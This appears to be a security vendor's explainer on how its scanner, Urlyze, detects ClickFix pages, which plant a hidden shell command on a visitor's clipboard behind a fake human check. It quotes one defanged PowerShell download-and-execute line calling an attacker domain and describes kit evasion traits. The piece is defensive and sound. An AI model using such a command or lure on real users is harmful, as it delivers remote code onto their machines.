ClickFix and the clipboard

The page never downloads anything. It asks the visitor to prove they are human, and while they click, it puts a shell command on their clipboard and tells them where to paste it. The visitor's own keyboard delivers the payload.

Why a rendered capture comes back clean

Every part of the chain that a passive scan can see is unremarkable. There is no executable download, often no second host contacted during the visit, and the instructions are frequently drawn rather than written — a key cap as an image, the verb as an icon — so text analysis has nothing to count. The one event that matters, the clipboard write, only happens after somebody interacts with the page.

What Urlyze does

The scan makes a throwaway copy of the page and uses it:

• It presses the control the page offers. Buttons, checkboxes, and gates drawn as ordinary page elements are all reachable, in the top document and inside frames.
• A press that changed nothing is tried once more as a sustained press. Some gates require the control to be held rather than clicked, and release cancels them; a click is a hold of zero duration, so a gate that ignores clicks is not evidence of absence.
• The clipboard write is observed as it happens. We watch the write from inside the page rather than reading a clipboard afterwards, so what we record is attributable to our own press and cannot be residue left by something else.
• The command is classified, not just stored — for example a command that downloads from a remote host and executes the result in one line.

What you get on the scan

When the page writes a convictable command, the result carries the mechanism and the destination rather than a counter:

"verdictReason": "Malicious: page copied a hidden download-execute command to the
                  visitor's clipboard behind an anti-bot gate (ClickFix)
                  — Clipboard command reaches: faceit-anti-cheat[.]com"

"clipboardCommandKind": "download-execute"

Alongside it the record states whether the command was hidden from the visible page, whether it was produced by our own press, and a screenshot of the instruction screen as the visitor would have seen it. The command text itself is on the record — the observed example above was irm hxxp://faceit-anti-cheat[.]com/notify.ps1 | iex (defanged here).

Limits worth knowing

• We never run the command. Classification is done on the text; nothing is executed and no interpreter is launched.
• A copy button is not a finding. Ordinary sites write to the clipboard all the time. What decides the verdict is the content of the command, not the act of copying.
• Silence is not proof of absence. A kit that filters by operating system, geography, or time of day, or that requires an interaction we do not perform, can stay quiet for us and still fire for a visitor.
• Some families paint once per visitor. Several kits mark the browser after the first render and serve a clean page on the next visit, so a re-scan can look like a regression when the page has simply stopped performing.